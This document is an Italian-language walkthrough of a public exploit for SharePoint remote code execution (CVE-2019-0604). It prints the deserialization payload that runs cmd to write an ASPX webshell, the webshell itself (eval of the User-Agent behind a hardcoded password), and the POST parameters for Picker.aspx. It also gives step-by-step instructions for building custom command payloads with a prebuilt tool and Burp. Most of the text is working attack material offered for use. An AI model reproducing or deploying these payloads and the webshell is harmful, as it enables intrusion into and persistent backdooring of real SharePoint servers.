
Spiegazione dettagliata del codice di k8gege per l'exploit RCE di SharePoint cve-2019-0604-exp.py, crea il tuo payload personalizzato.

Script di k8gege https://github.com/k8gege/CVE-2019-0604
Francamente, lo script Python di k8gege è un po' appariscente, un mucchio di stringhe esadecimali divise in payload1,2,3, che birbone!
Il payload inviato tramite POST remoto dallo script Python, dopo la deserializzazione è un corpo dati XML
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Cioè esegue un comando echo in remoto, scrivendo un file up.aspx nella directory layouts dei modelli di SharePoint sul server
cmd /c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx"
Ha generato un file webshell K8飞刀专用UA一句话木马.asxp, OK, shell ottenuto
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd)
{
var code=uastr.Replace(pwd+"===","");
eval(code,"unsafe");
};
%>
Se vuoi creare un tuo payload per eseguire comandi in remoto, segui questi passi:
Scarica il programma già compilato da https://github.com/boxhg/CVE-2019-0604/releases, estrai ed esegui CVE20190604Forms.exe
Nella casella di testo Cmd inserisci il comando, clicca sul pulsante "Update XML", unirà il comando in XML
Clicca su "EncodeEntity", il programma serializza la stringa XML in un oggetto e attiva l'esecuzione del payload; la stringa serializzata viene visualizzata nella casella di testo "payload"
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
Queste stringhe "__cp...." sono il payload; copia in cve-2019-0604-exp.py, modifica e sostituisci il payload originale di k8gege
Quando si invia il payload a Picker.aspx, sono necessari altri parametri aggiuntivi; è possibile ottenere i parametri correlati tramite lo strumento proxy Burp, quindi passare il valore del payload a ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData
...
values = {
'__REQUESTDIGEST':YOUR_REQUESTDIGEST,
'__EVENTTARGET':'',
'__EVENTARGUMENT':'',
'__spPickerHasReturnValue':'',
'__spPickerReturnValueHolder':'',
'__VIEWSTATE':YOUR_VIEWSTATE,
'__VIEWSTATEGENERATOR':'',
'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':' ',
'__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
'__CALLBACKPARAM':';#;#11;#;#;#',
'__EVENTVALIDATION':YOUR_EVENTVALIDATION
}
data = urllib.urlencode(values)
...